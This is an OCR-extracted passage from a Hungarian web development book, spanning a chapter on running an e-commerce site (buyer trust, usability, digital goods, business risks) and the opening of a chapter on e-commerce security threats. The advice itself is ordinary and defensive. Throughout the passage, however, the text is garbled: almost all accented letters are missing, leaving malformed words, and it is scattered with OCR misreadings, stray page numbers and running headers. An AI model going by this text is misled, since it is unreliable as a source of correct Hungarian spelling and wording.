ltalban tkletesen megegyezik a tbbi pldnnyal - feltve persze, hogy ugyanaz a cmk. A vsrlk nem ignylik, hogy
kezkbe vegyk a beszerezni kivnt darabot.
Az e-kereskedelmi termkeknek emellett az internet-felhasznlk rdekldsi krbe kell tartozniuk. A knyv rsa idejn
a clkznsget a munkabrrel rendelkez, fiaralabb felnttek alkotjk, akik tlag feletti jvedelemmel brnak, s vrosban

14

lnek. Idvel azonban szmthatunk r, hogy az online kznsg egyre inkbb megegyezik majd a teljes lakossggal.
Egyes termkek soha nem fognak megjelenni az e-kereskedelemmel foglalkoz kutatsokban, mgis sikeresen rtkesthe
rk online. Ha termknk csak egy szk piaci rteg szmra vonz, az internet idelis mdszer lehet a vsrlk elrsre. Ha
lakhelynkn csak tz ember gyjt 1980-as vekbeli jrkrobotokat, egy ezeket forgalmaz honlap akr sikeres is lehet, ha
minden ms vrosban is legalbb ugyanennyien gyjtik ket.
Vannak olyan termkek, amelyek online rtkestse nagy valsznsggel nem fog szmunkra sikert hozni. Az olcs,
romland rucikkek, pldul a zldsg s a gymlcs nem tnik tl j vlasztsnak, br ez nem riasztja el az embereket, hogy
prblkozzanak - tbbnyire, persze, sikertelenl. Egyes termkkategrik tkletesen megfelelek arra, hogy brochureware
honlapot ksztsnk hozzjuk, de online rendelsre nem lesznek alkalmasak. Nagy, drga rucikkek tartoznak ide - pldul
az autk s az ingatlanok -, amelyek rengeteg utnajrst ignyelnek a vsrls eltt, tl drgk ahhoz, hogy szemrevtelezs
nlkl megrendeljk, s leszlltani sem tl egyszer ket.
Szmtalan akadlyt kell lekzdennk a potencilis vsrlk meggyzshez. Ilyenek lehetnek:
Megvlaszolatlan krdsek
Bizalomhiny
Nem egyszer hasznlharsg
Kompatibilitshiny
Ha a felhasznlkat ezek brmelyike visszatartja, nagy valsznsggel vsrls nlkl fognak tvozni honlapunkrL

Megvlaszolatlan krdsek
Ha egy potencilis vsrl nem kap azonnal vlaszt valamely krdsre, minden bizonnyal otthagyja az oldalt. Ennek a megl
laprsnak szmos kvetkezmnye van. Figyeljnk arra, hogy oldalunk jl rendezett, jl felptett legyen! Az els alkalommal
ott jr ltogat knnyen megrallja, amit keres! Arra is gyelnnk kell, hogy teljes kr informcit adjunk, ugyanakkor ne
terheljk le tlzottan a ltogatkat.
Az interneten az emberek hajlamosak gyorsan tfutni a tartalmat, jellemzen nem szaktk alaposan vgigolvasni, ezrt t
rekedjnk a tmrsgrel A hirdetsi felletek tbbsgnl gyakorlati korltai vannak, hogy mennyi informcit kzlhetnk.
A honlapokra ez nem rvnyes. Itt a kt f korlt kzl az egyik az informci ltrehozsnak s frisstsnek a kltsge, a m
sik pedig az, hogy mennyire tudjuk az informcitengert gy rendezni, tagolni s sszekapcsolni, hogy a ltogatk be tudjk

E-kereskedelmi honlap zemeltetse

225

fogadni.
Nagy a ksrts, hogy honlapunkra olyan, soha nem alv, automatikus rtkestknt gondoljunk, aknek radsul mg fizet
ni sem kell, ugyanakkor rendkvl fontos az gyflszolglat. sztnzni kell a ltogatkat, hogy krdezzeneki Prbljunk meg
nekik azonnali vagy szinte azonnali vlaszt adni telefonon, e-mailben, chaten vagy ms knyelmes mdon!

Bizalomhiny
Ha a ltogat szmra ismeretlen a mrkanevnk, mirt bzna bennnkr Brki ssze tud lltani egy honlapot. Egy
brochureware oldal tolvasshoz nem szksges bizalom, de a megrendels mr teljesen ms trtnet. Honnan tudja a ltogat,
hogy megbzhat a vllalkozs, s nem a fentebb emltett kurya ll az oldal mgttr
Online vsrlskor szmos krds foglalkoztatja az embereket:

Mi fog trtnni a szemlyes adataikkal rtkestjk valaknek, arra hasznljuk, hogy egy csom reklmot kldjnk
nekik, vagy nem biztonsgos mdon troljuk, s gy msok is hozzfrhernekr Fontos kzlni a ltogatkkal, hogy mit
resznk s mit nem tesznk az adataikkal. Ezt az informcit adatvdelmi nyilatkozatnak (privacy policy) szoks nevez
ni, s honlapunk knnyen megrallhat rszre kell kirakni.

Megbzhat vllalkozs vagyunk Ha vllalkozsunkat regisztrltuk a megfelel szerveknl, rendelkeznk irodval,


raktrral s relefonszmmal, mr tbb ve mkdnk, akkor kevsb valszn, hogy csak tvers az egsz oldal- szem
ben egy olyan vllalkozssal, amely pusztn egy honlapbl s egy postafikcmbl ll. Ne felejtsk el ezeket az adatokar
megadni sajt magunkrl!

Mi trtnik, ha a vsrl nem elgedett a termkkel? Milyen felttelekkel szmthar pnzvisszatrtsre? Ki fizeti
a szllrsi djarr Internetes kereskedelem esetn a trvny a hagyomnyos vsrls esern rvnyesnl szlesebb kr
elllsi jogot ad a vsrlknak. Sok online kereskeds felttel nlkl visszaveszi a rermker, ha a vev brmilyen oknl
fogva elgedetlen azzal. (Magyarorszgon a jelenlegi szablyozs szerint a vev 8 napon bell lhet elllsi jogval,
amennyiben sajt kltsgn, bontatlanul vagy megbontott csomagolsban, de hinytalanul visszakldi a termket az
eladnak.) Gondoljuk vgig, hogy milyen arnyban llhat egymssal a pnzvisszatrts kltsge s a liberlis visszatr
tsi szablyzat ltal okozott forgalomnvekedsi Brhogyan dntnk is ebben a krdsben, gyeljnk, hogy a felrteieket
pontosan megjelenrsk oldalunkon!
Rnk bzhatjk az

gyfelek a bankkrtyaadataikat Az interneren vsrlk legnagyobb bizalmi agglya, hogy elkld

jk-e bankkrtyjuk adatait az interneten keresztl. ppen ezrt olyan vllalkozs ltszatr kell kelrennk, amely gyel
a biztonsgra, s rnylegesen biztonsgosan kell kezelni gyfeleink bankkrtyir. Ez rninimum azt jelenti, hogy Secure
Sockers Layer (SSL) protokollon keresztl kell az adatokar a felhasznl bngszjbl webes kiszolglnkra tovbb
tani, illetve gondoskodnunk kell kiszolglnk hozzrt s biztonsgos felgyeletrL A ksbbiekben rszleresebben
foglalkozunk ezzel a tmval.

Nem egysur hasznlhatsg


Nincs kr egyforma ember, gy vsrlink is eltr szmtgpes tapasztalattal, nyelvtudssal, mvelrsggel, memrival s
ltsmddal rendelkeznek. Ebbl kifolylag az oldalunknak a lehet legegyszerbben hasznlharnak kell lennie. A hasznlha
rsggal s a kezelfellet megtervezsvel kapcsolaros elvekrl egsz knyveket rnak, lljon itt mgis nhny irnymutats:

rizzk meg honlapunk egyszersgti Minl tbb lehetsget, hirdetst s a figyelem elterelsre alkalmas elemet
helyeznk a kpernyre, annl valsznbb, hogy sszezavarjuk a felhasznlt.

Olvashat szvegfajtt vlasszunk! Tiszta, egyszer bettpusokar hasznljunk! Ne lltsuk tl kicsire a szveget, s ne
feledjk, hogy a klnbz tpus szmtgpeken eltr mretben jelenhet meg!

Tegyk a rendelsi folyamatot a lehet legegyszerbbl A jzan sz csakgy, rnint a rendelkezsre ll rapasztalatok
azt sgjk, hogy rninl tbbet kell a vsrlknak a megrendelshez az egrrel kattintani, annl kevsb valszn, hogy
vgigcsinljk a folyamatot. Cskkenrsk a lpsek szmr a minimlisan szksgesre, de ne feledjk, hogy az Amazon.
com Amerikban szabadalommal2levdette az egy kattintssal trtn rendels folyamatt! (Az Amazon 1-Clicknek
hvja a mdszert.) A szabadalmar sok honlap zemelterje lesen tmadja.

Ne engedjk, hogy a felhasznlk elvesztsk a fonalat! Adjunk nekik irnymurarst, s navigcis irnypontokkal
jelezzk szmukra, hol jrnak! Emeljk k azt a menpontot, amelyikben ppen tartzkodnak, gy segitve a tjkozd
sukat!
2 U.S. Pacem and Trademark Office (Amerikai Szabadalomgyi s Mrkavdelmi Hivatal), 5960411 szm szabadalom: Kommunikcis
hlzacon keresztli rendelsleads mdszere s rendszere.

14

226

14. fejezet

Ha a vsrlshoz kosr funkcit knlunk a ltogatknak, amelyben a fizets eltt virtulisan trolhatjk a kvlasztott ru
cikkeket, figyeljnk r, hogy a kpernyn mindig lthat legyen egy, a bevsrlkosrra mutat hivatkozs!

Kompatibilitshiny
Ne felejtsk el oldalunkat klnbz bngszkben s opercis rendszerek alatt tesztelnil Ha valamely npszer bng
szben vagy opercis rendszer alatt nem mkdik rendesen, akkor amatrnek fogunk tnni, s elvesztjk a potencilis piac
jelents rszt.
Ha oldalunk mr mkdik, a webszerver naplbejegyzseibl megllapthatjuk, milyen bngszket hasznlnak a ltoga
tink. klszablyknt elmondhat, hogy ha oldalunkat az albbi bngszkben, opercis rendszerek alatt s eszkzkn
ellenrizve semmilyen hibval nem tallkozunk, akkor a Felhasznlk nagy tbbsge szmra megfelelen jelenik meg olda
lunk: Firefax (minden opercis rendszer alatt), az Internet Explorer (Windows) s aSafari (Macintosh) legfrissebb verzija,
kzi szmtgp s egy olyan, csak szveget megjelent bngsz, mint pldul a Lynx. Ne felejtsk el oldalunkat klnbz
kpernyfelbontsokban megjelenteni! Egyes Felhasznlk a nagyon nagy felbontsokat kedvelik, msok telefont vagy P DA-t
hasznlnak. Nehz elrni, hogy ugyanaz az oldal megfelelen nzzen ki a 2048 kppont szlessg kpernyn s a 240 pixel
szlesen is.
Kerljk a vadonatj funkcik s eszkzk hasznlatr, kivve, ha vllalj uk, hogy az oldalt tbb vltozatban rjuk meg s
tartjuk fenn! A szabvnyokkal kompatibilis HTML vagy XHTML mindenhol mkdni fog, de a rgebbi funkcikat nagyobb
valsznsggel fogja megfelel mdon tmogaeni az sszes bngsz s eszkz.

Szolgltatsok vagy digitlis termkek rtkestse


Rengeteg termket s szolgltatst rtkestenek az interneten s szlltjk ki a vsrlnak futrszolglattal. Egy kisebb rsz
ket azonnal, online ignybe veheti a vsrl. Ha valamely szolgltatst vagy rut hlzaton keresztl is lehet tovbbtani, akkor
azonnal, emberi beavatkozs nlkl megrendelhet, kfizethet s ignybe vehet. Az gy rtkestett legegyszerbb szolgltats

14

az informci. Az informci gyakran teljesen ingyenes vagy hirdetsekbl finanszrozott. Egyes informcikhoz elfizets
vagy tranzakcinknti fizets alapjn lehet hozzfrni.
A digitlis rucikkek kz tartoznak egyebek kztt az e-knyvek s az elektronikus formtumban (pldul MP3-ban) lv
zene. A kpgynksgek ltal forgalmazott kpek is digitalizlhatk s letlthetk. A szmtgpes szaftvereknek sem kell
szksgszeren CD-n vagy DVD-n lennik, kzvetlenl is letlthetk. Az gy rtkestett szolgltatsok kz tartozik pldul
az internet-hozzfrs vagy a webtrhely is.
Az oldalunkon megrendelt termkek fizikai kiszllitsa esetn bizonyos elnykkel s htrnyokkal kell szmolnunk. A fi
zikai formban ltez termk kiszllitsa pnzbe kerl. A digitlis letltsek szinte teljesen ingyenesek. Ez azt jelenti, hogy ha
msolhat s digitlisarr rtkesthet termket vagy szolgltatst knlunk, annak rtkestsi kltsge l s 1000 darab esetn
is ugyanaz lesz. Termszetesen ez csak bizonyos korltok kztt igaz; megfelel szint rtkests s forgalom esetn tbbet
kell pldul hardverre s svszlessgre fordtani.
A digitlis termkek s szolgltatsok knnyen rtkesthetk impulzv vsrlsknt. Ha valal fizikai formban ltez ru
cikket rendel, a szllts legalbb egy napig tart. A letltseket ezzel szemben msodpercben, legfeljebb percben mrjk. Ez azt
jelenti, hogy a kereskedk az azonnali teljests terhvel knytelenek szembeslni. Ha digitlisarr teljestjk a vsrlst, azonnal
kell megtennnk azt. Nem tehetjk meg, hogy manulisan dolgozzuk fel a rendelseket, vagy napon bell szttertjk a cscs
idszak terhelst. Az azonnali teljests rendszereknl ezrt inkbb fennll a csals veszlye, s nagyobb terhelst jelentenek
a szmtgpes erforrsoknak.
A digitlis termkek s szolgltatsok kivlarr alkalmasak az e-kereskedelemre, de nyilvnvalan korltozott az gy rtke
sthet termkek s szolgltatsok kre.

Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz


Az zleti weboldalak egyes, igen sikeres rszei egyltaln nem rulnak termket vagy szolgltatsokat. Az olyan funkcikat,
mint a futrcgek-pldul az UPS (http://www.ups.com) vagy a Fedex (http://www.fedex.com) - nyomon kvetsi szolgl
tatsai, nem kzvetlen profitszerzs cljval fejlesztettk ki. A szervezet ltal knlt, meglv szolgltatsokhoz adnak tbblet
rtket. Ha lehetsget adunk az gyfeleknek, hogy nyomon kvessk kldemnyk tjt, vagy megrekintsk banki egyenleg
ket, versenyelnyhz juttathatjuk vllalkozsunkat.
A tmogatst knl frumok is ebbe a kategriba tartoznak. Komoly zleti okai vannak annak, hogy mirt rdemes a v

E-kereskedelmi honlap zemeltetse

227

srlk szmra olyan frumot mkdtetni, ahol megtrgyalhatjk a cg termkeivel kapcsolatos hibaelhrrsi tippeket. A ms
vsrlk ltal javasolt megoldsokkal orvosolhatk az gyfelek problmi, a klfldi vsrlk telefonkltsg nlkl kaphacnak
tmogatst, s a hivatali rkon kivli idben is vlaszt adhatnak egyms krdseire a frumozk. A tmogats ilyen formja
igen alacsony kltsg mellett nvelheti a fogyasztk elgedettsgt.

Kltsgcskkents
Az internet hasznlatnak gyakori oka a kltsgek cskkentse. Megtakarts szrmazhat az informci online megosztsbl,
ko mmunikci elmozdtsbl, a szolgltatsok lecserlsbl, illetve a mkds kzpontostsbL

Ha jelen pillanatban igen sok embernek adunk tjkoztatst, minden bizonnyal gazdasgosabb mdon is megtehernnk
ezt egy weboldalon kereszrL Akr rlisckat, termkkatalgusokat, dokumentlt eljrsokat, specifikcikat vagy brmilyen
ms informcit adunk t az rdekldknek, biztosan olcsbban jnnnk ki, ha ugyanezt az interneten tennnk elrhetv,
mint a nyomtatott pldnyok ellltsval s kikldsveL Klnsen igaz ez a rendszeresen vltoz informcikra. Az
internet a kommunikci biztostsval pnzt takarthat meg szmunkra. Ez akr azt jelenti, hogy az ajnlatkrseket gyorsan
szckldhetjk, s rvid idn bell vlaszt kaphatunk, akr azt, hogy az gyfelek az gynkket vagy kzvettket kikerlve
kzvetlenl a nagykereskedvel vagy a gyrtval lphetnek kapcsolatba- az eredmny ugyanaz lesz. Az rak cskkennek,
a

nyeresg pedig n.
A pnzbe kerl szolgltatsok elektronikus vltozatra cserlse kltsgcskkentse eredmnyezhet. Btor pldja ennek az

Egghead.com esete. A cg gy dnttt, hogy bezrja informatikai bolchlzatt, s az e-kereskedelemre sszpontosija figyel
mc. Br egy komoly e-kereskedelmi oldal ltrehozsa nyilvnvalan pnzbe kerl, egy 80 kiskereskedelmi zletbl ll lnc
sokkal nagyobb folyamatos kltsggel jr. m a meglv szolgltatsok cserje kockzatot is hordoz magban. Az a rninimum,
hogy az internetet nem hasznl gyfeleket elvesztjk. Az Egghead.com j vllalkozsa nem jtt be. A cg az 1998-as doc-com
lufi idejn zrta be zleteit, majd a lufi kipukkadsakor, 2001-ben csdvdelmet krt.
A kzpontosts is kltsgcskkense eredmnyezhet. Ha tbb telephellyel rendelkeznk, tbb helyen kell brleti djat s
rezsit fizetni, alkalmazottakat foglalkoztatni, s mindenhol raktrkszletet kell fenntartani. Egy internetes vllalkozs elg, ha
egyetlen kzponti telephellyel br, a vilg brmelyik pontjrl elrhet lesz.

Kockzatok s veszlyforrsok megismerse


Minden zlet kockzatokkal jr: versenytrsak, lops, llandan vltoz fogyaszti preferencik s termszeti katasztrfk
hogy csak nhnyat emltsnk a lehetsges veszlyforrsok kzl. Az e-kereskedelmi cgek ltal szlelt kockzatok egy rsze
azonban a hagyomnyos vllalkozsokra alig vagy egyltaln nem jelent veszlyt. Ilyen kockzatot hordoznak a:
Crackerek
A kvnt zleti eredmny elmaradsa
Szmtgpes hardverhibk
Elektromos, kommunikcis vagy hlzati hibk
Ers verseny
Szoftverhibk
Vltoz szablyozsi krnyezet s adjogszablyok
Rendszer-kapacitsbeli korltok

Crackerek
Az e-kereskedelmet rint, leggyakrabban ernlegetett fenyegets a cracker nven ismert, rosszindulat szmtgp-felhaszn
lktl rkezik. Minden cg ki van tve annak a veszlynek, hogy bnzk clpontjv vlik, de az e-kereskedelmi vllalkozsok
folyamatosan vonzzk a klnbz szndk s kpessg crackereket.
A crackerek tmadsainak oka lehet a kihvs, a hrnv irnti vgy, az oldal tnkrettele, pnz eltulajdontsa vagy a term
kek, szolgltatsok ingyenes megszerzse.
Az oldal biztonsgoss ttelhez az albbiak kombincija szksges:
Biztonsgi mentsek ksztse a fontos informcikrl
Olyan szemlyzeti politika, amely vonzza a becsletes munkavllalkat, s fenntartja lojalitsukat, mert a legveszlye
sebb tmadsok mindig bellrl jnnek
Szoftverekkel kapcsolatos vintzkedsek, pldul biztonsgos szoftverek hasznlata s folyamatos frisstse
Az alkalmazottak felksztse a tmadsok clpontjainak s a gyengesgek azonostsra

14

228

14. fejezet

Auditls s naplzs a betrsek s a betrsi ksrletek szlelsre


A szmtgpes rendszerek elleni legsikeresebb tmadsok olyan jl ismert gyengesgeket hasznlnak ki, mint a knnyen ki
tallhat jelszavak, a gyakran hasznlt hibs konfigurcik s a rgi szoftververzik. A jzan sz ltal diktlt vintzkedsekkel
a nem professzionlis tmadsok elhrthatk, illetve elrhet, hogy a legrosszabb bekvetkezse esetn biztonsgi mentssel
rendelkezznk.

A kvnt zleti eredmny elmaradsa


Br szles krben tartanak a crackerek tmadsaitl, az e-kereskedelmi vllalkozsok buksnak legnagyobb rsze hagyom
nyos gazdasgi tnyezkhz kthet. Egy komoly e-kereskedelmi oldal kifejlesztse s piacra vitele rengeteg pnzbe kerl.
A cgek sok esetben hajlandk rvid tvon pnzt veszteni, mert bznak benne, hogy a mrka piaci megszilrdulsa utn az
gyflszm s a bevtel is nni fog.
A dor-com lufi kipukkadsa sok cg vesztt okozta, mert a vesztesges vllalkozsok mkdshez elengedhetetlen kock
zati tke egyszeren elapadt. A komoly buktk kz tartozott az eurpai boo.com is, amelynek elfogyott a pnze. Knytelenek
voltak a cget eladni, miutn hat hnap alatt 120 milli dollrt tapsoltak el. A problmt nem az okozta, hogy a Boonak nem
voltak eladsai; a baj az volt, hogy a cg sokkal tbbet klttt, mint amennyi bevtelt hozott.

Szmtgpes hardverhibk
Ha vllalkozsunk a weboldalunktl fgg, nyilvnval, hogy brmely szmtgpnk ktitikus alkatrszeinek hibja komoly
kvetkezmnnyel jr. Forgalmas vagy zletktitikus weboldalak esetn ltjogosultsga van redundns rendszerek hasznlatnak,
hogy brmelyiknek a hibja ne lehessen hatssal a teljes rendszer mkdsre. Mint minden veszlyforrs esetn, itt is azt kell
mrlegelni, hogy a weboldal egynapos - a cserealkatrszre vagy a javtsra vrs ideje alatti - lellsnak eslye indokolja-e
a redundns berendezs kltsgt.
Viszonylag egyszeren belltharunk tbb, Apache-t, PHP-t s MySQL-t futtat gpet, amelyek MySQL replikcival egy
szeren szinkronban tarthatk, m jelentsen megnvelik hardver-, hlzatnfrastruktra- s trhelykltsgeinket.

14
Elektromos, kommunikcis vagy hlzati hibk
Ha az internetre alapozzuk vllalkozsunkat, akkor szolgltatk sszetett hlzatra vagyunk knytelenek tmaszkodni. Ha
a weboldalunkat a vilg tbbi rszvel sszekt kapcsolat lell, semmi mst nem tehetnk, mint lhe tett kzzel vrjuk, hogy
szolgltatnk helyrelltsa a szolgltatst. Ugyanez igaz az elektromos hlzat lellsaira is.
A kltsgvetsnk biztostotta kereteken bell dnthetnk gy, hogy tbb szolgltatst vesznk ignybe klnbz szolgl
tatktl. Ez tbbletkltsggel jr, de azt jelenti, hogy ha valamelyik szolgltat kiesik, mg mindig ott a msik. A rvid ramki
maradsok okozta problmkat sznetmentes tpegysgbe beruhzva kerlhetjk el.

Ers verseny
Ha valamelyik utcasarkon nyitunk kiskereskedelmi boltot, viszonylag pontosan felmrhetjk a versenyhelyzetet. Versenytr
saink elsdlegesen a krnyez terleten ugyanazt a termksklt rtkest vllalkozsok. j versenytrsak viszonylag ritkn
jelennek meg. E-kereskedelem esetben kevsb mehetnk biztosra.
A szlltsi kltsgek fggvnyben versenytrsaink a vilg brmely pontjn elhelyezkedhetnek, s ki vagyunk tve az rfo
lyam-ingadozsoknak, illetve a munkaerkltsgek vltozsnak. Az internet ersen versenyz s gyorsan vltoz krnyezet.
Ha npszer termkkategriban utazunk, nap mint nap j versenytrsakat kaphatunk. A verseny kockzata ellen nem sokat
tehetnk, de ha nem llunk meg a fejlesztsekkel, megprblhatjuk megrizni versenykpessgnket.

Szoftverhibk
Ha vllalkozsunk szoftverekte tmaszkodik, akkor a szaftverekben lv hibk a sebezhetsgnket jelentik. A ktitikus hibk
valsznsgt megbzhat szaftver vlasztsval cskkenthetjk, illetve rdemes a rendszer egyes rszeinek megvltoztatsa
utn elegend idt hagyni a tesztelsre, formlis tesztdsi eljrst folytatni, s az les rendszeren csak akkor vgrehtani a vl
toztatsokat, ha azokat mshol mr kellkppen leteszteltk.
Mrskelhetjk a hibk kros kvetkezmnyeit, ha napraksz biztonsgi mentseket ksztnk minden adarunktL a vl
toztatsok eltt feljegyezzk a mkd szoftverbelltsokat, s a rendszermveleteket felgyelve gyorsan szleljk az esetleges

E-kereskedelmi honlap zemeltetse

229

problmkat.

Vltoz szablyozsi krnyezet s adjogszablyok


Attl fggen, hogy milyen orszgban lnk, az internet alap vllalkozsok szablyozsa lehet kezdeti, kiforratlan llapotban,

st: akr az is elkpzelhet, hogy ilyen szablyozs mg egyltaln nem ltezik. Ez azonban minden bizonnyal nem sokig
marad gy. A jvbeli jogszablyalkotssal bizonyos zleti modelleket megszigorthatnak, szablyozhatnak vagy ellehetetlent
hetnek. jabb adkat vethetnek ki.
Ezeket elkerlni nem tudjuk, kezelni pedig csak gy lehet, ha napraksz ismeretekkel rendelkeznk, s oldalunkat az aktu
lis jogszablyokkal sszhangban mkdterjk. Ha valamilyen, bennnket htrnyosan rint helyzet alakul ki, mrlegeljk egy
lobbicsoporthoz csatlakozs lehetsgti

Rendszerkapacitsbeli korltok
Rendszernk megtervezsekor rdemes tekintetbe vennnk a nvekeds lehetsgt. Minden bizonnyal azt remljk, hogy
rendszernk egyre forgalmasabb s forgalmasabb lesz. ppen ezrt gy kell kialakitanunk, hogy nvekv kereslet esetn bvt
het legyen.
A kapacits bizonyos mrtkig egyszeren gyorsabb hardver beszerzsvel is nvelhet, de ltezik egy hatr, amelynl gyor

sabb szmtgpet mr nem tudunk venni. Szaftvernk vajon gy lett megrva, hogy ha elrjk ezt a pontot, rszekre bonthas
suk annak rdekben, hogy tbb rendszer kzrt megoszthassuk a terhelstr Adatbzisunk kpes egyidejleg tbb, klnbz
gpektl rkez krs kezelsre r Az adatbzishoz csatlakozs kdja lehetv teszi, hogy ksbb gy mdosthassuk, hogy
MySQL master szerverre rjuk s klnbz slave szerverekrl olvassuk ki az adatokatr
Kevs rendszer kpes problma nlkl megbirkzni a jelents mrtk nvekedssel. De ha rendszernket a sklzhatsg
elvnek figyelembe vtelvel tervezzk meg, kpesek lesznk azonostani s elhrtani az gyflbzisunk nvekedsvel hatat
lanul jelentkez szk keresztmetszeteket.

A megfelel

stratgia kivlasztsa

Egyesek szerint az internet tl gyorsan vltozik ahhoz, hogy hatkony tervezst tegyen lehetv. Mi viszont gy gondoljuk,
hogy ppen ezek a gyors vltozsok teszik rendkivl fontoss a tervezst. Ha nem tznk ki clokat, s nem vlasztunk stra
tgit, a vltozsok bekvetkezte utn kell azokra valamilyen vlaszt adni ahelyett, hogy a vltozsokra szmtva aktvan csele
kedhetnnk.
Most, hogy megvizsgltuk az zleti tpus weboldalak jellemz cljait s az azokat fenyeget fbb veszlyforrsokat, reml
jk, az olvasban is kezd megfogalmazdni sajt stratgija.
A stratgia fogja meghatrozni az zleti modellt. Ez a modell ltalban olyan dolog, ami valahol mshol mr bevlt, de ese

cenknt olyan j tlet is lehet, arniben nagyon his.znk. A krds az, hogy meglv zleti modellnket alakitjuk az internethez,
meglv versenytrsat msolunk le, vagy agresszv mdon ttr szolgltarst hozunk ltre.

Kvetkez lpsek
A kvetkez fejezerben az e-kereskedelem biztonsgi oldalval foglalkozunk, rszletesen olvashatunk a biztonsgi fogalmakrl,
a

fenyegetsekrl s az ellenk val vdekezs mdszereirl.

14

15
Az ekereskedelem biztonsgi krdsei
A fejezetben a biztonsg e-kereskedelemben betlttt szerepvel foglalkozunk. Megvizsgljuk, kinek llhat szndkban meg
szerezni a birtokunkban lv informcikat, s hogyan prblkozhatnak ezzel. Megnzzk a biztonsgi hzirendek ltrehoz
snak elveit, amelyekkel elkerlhetk az ilyen jelleg problmk, illerve megismernk nhny, a weboldalak vdelme rdekben
alkalmazhat technolgit, kztk a titkostst, az ellenrzst s a hlzati esemnyek nyomon kvetst.
A fejezetben a kvetkez fbb tmakrkkel foglalkozunk:
A birtokunkban lv informci fontossga
Biztonsgi fenyegetsek
Biztonsgi hzirend ltrehozsa
Hasznlhatsg, teljestmny, kltsg s biztonsg
Ellenrzsi elvek
Oldalunk felhasznlinak ellenrzse
A titkosts alapjai
Privt kulcs titkosts
Nyilvnos kulcs titkosts
Digitlis alrsok
Digitlis tansrvnyak
Biztonsgos webszerverek
Auditls s naplzs
Tzfalak
Biztonsgi ments ksztse adatainkrl
Fizikai biztonsg

A birtokunkban lv informci fontossga


Mieln a biztonsggal foglalkoznnk, elszr is meg kell prblnunk vlaszolni a krdsre, milyen fontos az, amit vdeni sze
retnnk. Mennyire fontos neknk, s mennyire fontos a potencilis crackerek szmra?
Knnyen kisrtsbe eshetnk, s azt gondolhatjuk, hogy oldalainknak minden pillanatban a lehet legmagasabb szint biz
tonsgra van szksgk, m a vdelem nincsen ingyen. Mieltt eldntennk, mennyi erfesztst s kltsget kvnunk a biz
tonsgra fordtani, tudnunk kell, hogy mennyit r a birtokunkban lv informci.
Nyilvnvalan eltr rtket kpvisel egy otthoni felhasznl, egy vllalkozs, egy bank vagy egy katonai szervezet szmi
tgpn trolt informci. Ugyangy eltr az is, hogy milyen messzire haJland egy tmad elmenni azrt, hogy hozzfrst
nyerjen ezekhez az informcikhoz. Vajon mennyire lehet vonz szmitgpeink tartalma a rosszindulat ltogatk szmra?
Az otthoni felhasznlknak ltalban korltozottabb lehetsgek llnak rendelkezsre rendszerk megvsra. Mivel
a

szmitgpeiken trolt informcik a tulajdonosukon kvl mindenki ms szmra valsznleg csak alacsonyabb rtket

kpviselnek, az ilyen rendszerek ellen irnyul tmadsok esetiek lesznek, s a tmadk vlheten korltozott erfesztseket
tesznek a feltrskre. Ennek ellenre minden szmtgpes hlzat felhasznljnak meg kell tennie a megfelel vintzke
dseket. Mg a legkevsb rdekes adatokat trol szmtgpek is felkelthetik a tmadk figyelmt, mert kvlan alkalmasak
arra,

hogy nvtelen tmadsokat inditsanak rluk ms rendszerek ellen, illerve fontos szerepet jtszharnak a vrusok s frgek

terjedsben.
A katonai szmtgpek nyilvnvalan a magnszemlyek s a klfldi kormnyzatok clkeresztjben llnak. Mivel az ezek
ellen tmadst tervez kormnyzatok minden bizonnyal bsges erforrssal brnak, rdemes megfelel informatikai szemly
zeere s egyb erforrsokra klten a szksges vintzkedsek rdekben.

232

15. fejezer

Az ltalunk zemelterni kvnt e-kereskedelmi oldal minden bizonnyal az elbbi kt szlssg kz esik,abban a tekintet
ben legalbbis felttlenl, hogy mennyire lesz vonz a crackerek szmra. Ennek megfelelen a vdelmre fordtand erforr
soknak s erfesztseknek is a kt szlssg kz kell esnik.

Biztonsgi fenyegetsek
Mi van az oldalunkon kockzarnak kitve? Milyen fenyegetsekre szmthatunk? Az e-kereskedelmi vllalkozsokat rint
fenyegetsek egy rszvel az E-kereskedelmi

honlap zemeltetse cm, 14. fejezetben mr foglalkoztunk. Sok kzlk a bizton

sggal kapcsolatos.
Weboldalunktl fggen az albbi biztonsgi fenyegetsekkel kell szmolnunk:
Bizalmas adataink kitettsge
Adatveszts vagy -rongls
Adatmdosts
Denial of Service tmadsok
Szaftverhibk
Letagads
Nzzk t egyenknt ezeket a fenyegetseket!

Bizalmas adataink k.itettsge


A szmtgpeinken trolt,a szmtgpeinktl kldtt vagy azokra rkez adatok bizalmasak lehetnek. Olyan informcikat
tartalmazharnak, amiket csak bizonyos emberekkel kvnunk kzlni (ilyenek pldul a nagykereskedelmi rlistk).Lehetnek
vsrl ltal megadott bizalmas adatok, pldul jelsz, elrhetsg,hitelkrtyaszm.
Remljk,senki nem trol webszervern olyan adatokat,amelyeket nem szereme nyilvnossgra hozni. A webszerver ki
mondottan rossz vlaszts titkos informcik trolsra. Ha a brszmfejtsi adatokat vagy a szupertitkos zleti terveinket
szmrgpen kvnjuk trolni,akkor szinre brmilyen gpet kivlaszthatunk,csak ne a webszerver legyen az! A webszerver
feladatbl addan egy nyilvnosan elrhet gp,amelynek csak a nyilvnossgra tartoz vagy a kzelmltban a nyilvnossg
tl begyjttt informcikat szabad trolnia.
A kitettsg kockzarnak cskkenrshez korltozni kell az informci elrsre alkalmas mdszerek,illetve az arra jogosult
szemlyek krt. Ehhez a biztonsg figyelembevtelvel kell megtervezni a rendszert, megfelelen kell konfigurlni a kiszol
glt s a szoftvereker, gondosan kell programozni,alapos tesztelsre van szksg, el kell tvoltani a kiszolglrl a felesleges

15

szolglrarsokat,s meg kell kvetelni a felhasznJk hirelestst.


Gondos tervezssel,konfigurlssal, kdolssal s tesztelssei cskkenthet a sikeres tmadsok,illetve annak eslye,hogy
informciink valamilyen hiba kvetkeztben msok szmra is elrherv vljanak.
A webszerverrl tvoltsuk el a felesleges szolgltatsokat is,hogy cskkenrsk a potencilis gyenge pontok szmt. Minden
futtatott szolgltatsnak lehetnek sebezhersgei. Minden ilyen szolgltatst naprakszen kell tartani,hogy egyiknl se legye
nek jelen ismert sebezhetsgek. A nem hasznlt szolglratsok veszlyesebbek lehetnek. Ha soha nem hasznljuk pldul
az r ep parancsot, akkor minek legyen teleptve a szolgltats?1 Ha azt mondjuk a teleptnek, hogy szmtgpnk hlzati
kiszolgl, akkor a fbbLinux-disztribcik s a W indows is szmos olyan szolgltatst telept, amire nem lesz szksgnk, s
amiket el kell tvoltani.
A Jelhasznlk hitelestse {authentication) esetn megkrjk a ltogatkat,felhasznlkat, hogy azonostsk magukat. Ha
